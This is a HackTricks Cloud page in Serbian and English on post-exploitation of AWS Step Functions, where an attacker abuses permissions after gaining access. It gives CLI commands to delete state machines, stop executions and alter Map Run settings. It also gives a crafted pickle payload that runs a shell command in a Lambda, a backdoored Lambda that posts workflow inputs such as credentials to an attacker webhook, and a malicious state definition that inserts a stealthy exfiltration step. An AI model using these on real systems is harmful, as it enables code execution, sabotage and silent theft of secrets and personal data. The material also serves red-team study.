AWS - Step Functions Post Exploitation
Tip
Nauči & vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Pogledajte subscription plans!
- Pridružite se 💬 Discord group or the telegram group or pratite nas na Twitter 🐦 @hacktricks_live.
- Podelite hacking tricks slanjem PR-ova na HackTricks i HackTricks Cloud github repos.
Step Functions
For more information about this AWS service, check:
states:RevealSecrets
Ovo dopuštenje omogućava otkrivanje tajnih podataka unutar izvršavanja. Da bi se to postiglo, potrebno je podesiti Inspection level na TRACE i parametar revealSecrets na true.
.png)
states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias
Napadač sa ovim dozvolama mogao bi trajno izbrisati state machines, njihove versions i aliases. To može poremetiti kritične tokove rada, dovesti do gubitka podataka i zahtevati značajno vreme za oporavak i vraćanje pogođenih state machines. Pored toga, omogućilo bi napadaču da prikrije tragove, omete forenzičke istrage i potencijalno paralizuje operacije uklanjanjem ključnih automatizovanih procesa i state konfiguracija.
Note
- Brisanjem state machine takođe brišete sve povezane versions i aliases.
- Brisanjem state machine alias ne brišete state machine versions koji referenciraju taj alias.
- Nije moguće obrisati state machine version koji je trenutno referenciran od strane jednog ili više aliases.
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
- Potencijalni uticaj: Poremećaj kritičnih tokova rada, gubitak podataka i zastoje u radu.
states:UpdateMapRun
Napadač sa ovom dozvolom mogao bi manipulisati Map Run konfiguracijom za greške i podešavanjem paralelizma, povećavajući ili smanjujući maksimalan broj dozvoljenih izvršenja podređenih workflow-a, direktno utičući na performanse servisa. Pored toga, napadač bi mogao menjati tolerisani procenat i broj neuspeha, sve do smanjenja te vrednosti na 0, tako da svaki put kada neka stavka zakaže ceo Map Run padne, direktno utičući na izvršavanje state machine-a i potencijalno ometajući kritične tokove rada.
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
- Potencijalni uticaj: Pogoršanje performansi i prekid kritičnih tokova rada.
states:StopExecution
Napadač sa ovom dozvolom mogao bi zaustaviti izvršavanje bilo koje state machine, ometajući tekuće tokove rada i procese. To može dovesti do nepotpunih transakcija, zaustavljenog poslovanja i potencijalne korupcije podataka.
Warning
Ova radnja nije podržana za express state machines.
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
- Potencijalni uticaj: Prekid tekućih tokova rada, operativni zastoj i moguća oštećenja podataka.
states:TagResource, states:UntagResource
Napadač može dodati, izmeniti ili ukloniti tagove sa Step Functions resursa, čime bi se poremetila raspodela troškova u organizaciji, praćenje resursa i politike kontrole pristupa zasnovane na tagovima.
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
Potencijalni uticaj: Omogućavanje prekida raspodele troškova, praćenja resursa i politika pristupa zasnovanih na tagovima.
states:StartExecution -> Input Injection Into Dangerous Sinks
states:StartExecution je data-plane entrypoint. Ako state machine prosledi input pod kontrolom napadača u task koji sadrži dangerous sink (na primer Lambda koja radi pickle.loads(base64.b64decode(payload_b64))), ponekad možete pretvoriti StartExecution u code execution i secret exfiltration kroz izlaz izvršavanja, bez ikakve dozvole za ažuriranje state machine.
Discover the workflow and the invoked Lambda
Ako imate states:List* / states:Describe*, možete nabrojati i pročitati definiciju state machine:
REGION=us-east-1
SM_ARN="<state_machine_arn>"
aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text
Ako takođe imate lambda:GetFunction, možete preuzeti Lambda code bundle da biste razumeli kako se ulaz obrađuje (i potvrdili da li postoji unsafe deserialization):
LAMBDA_ARN="<lambda_arn_from_definition>"
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
ls -la /tmp/lambda_code
Primer: crafted pickle in execution input (Python)
Ako Lambda unpickles podatke koje kontroliše napadač, maliciozni pickle može izvršiti kod tokom deserializacije. Primer payload-a koji evaluira Python izraz u Lambda runtime-u:
PAYLOAD_B64="$(python3 - <<'PY'
import base64, pickle
class P:
def __reduce__(self):
# Replace with a safe proof (e.g. "1+1") or a target-specific read.
return (eval, ("__import__('os').popen('id').read()",))
print(base64.b64encode(pickle.dumps(P())).decode())
PY
)"
EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text
Impact: Bilo koje dozvole koje task role poseduje (čitanje iz Secrets Manager, pisanje u S3, dekriptovanje KMS, itd.) mogu postati dostupne preko pažljivo pripremljenog ulaza, a rezultat može biti vraćen u Step Functions izlaz izvršenja.
states:UpdateStateMachine, lambda:UpdateFunctionCode
Napadač koji kompromituje korisnika ili ulogu sa sledećim dozvolama:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
…može izvesti high-impact and stealthy post-exploitation attack kombinovanjem Lambda backdooring i Step Function logic manipulation.
Ovaj scenarij pretpostavlja da žrtva koristi AWS Step Functions da orkestrira tokove rada koji obrađuju osetljive podatke, kao što su credentials, tokens, or PII.
Primer poziva žrtve:
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
Ako je Step Function konfigurisana da poziva Lambda kao LegitBusinessLogic, napadač može nastaviti sa dvema prikrivenim varijantama napada:
Ažurirana lambda funkcija
Napadač menja kod Lambda funkcije koju Step Function već koristi (LegitBusinessLogic) kako bi tiho eksfiltrirao ulazne podatke.
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
Dodavanje zlonamernog stanja u Step Function
Alternativno, napadač može ubaciti exfiltration state na početak toka rada ažuriranjem definicije Step Function.
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
The attacker can even more stealthy to update the state definition to something like this { “Comment”: “Backdoored for Exfiltration”, “StartAt”: “ExfiltrateSecrets”, “States”: { “ExfiltrateSecrets”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker”, “InputPath”: “$”, “ResultPath”: “$.exfil”, “Next”: “OriginalState” }, “OriginalState”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic”, “End”: true } } } where the victim won’t realize the different
Podešavanje žrtve (Context for Exploit)
- Koristi se Step Function (
LegitStateMachine) za obradu osetljivih korisničkih podataka. - Poziva jednu ili više Lambda funkcija, kao što je
LegitBusinessLogic.
Potencijalni uticaj:
- Tihа eksfiltracija osetljivih podataka, uključujući secrets, credentials, API keys i PII.
- Nema vidljivih grešaka ili neuspeha pri izvršenju workflow-a.
- Teško otkriti bez audita Lambda koda ili execution traces.
- Omogućava dugoročno održavanje pristupa ako backdoor ostane u kodu ili ASL logici.
Tip
Nauči & vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Pogledajte subscription plans!
- Pridružite se 💬 Discord group or the telegram group or pratite nas na Twitter 🐦 @hacktricks_live.
- Podelite hacking tricks slanjem PR-ova na HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

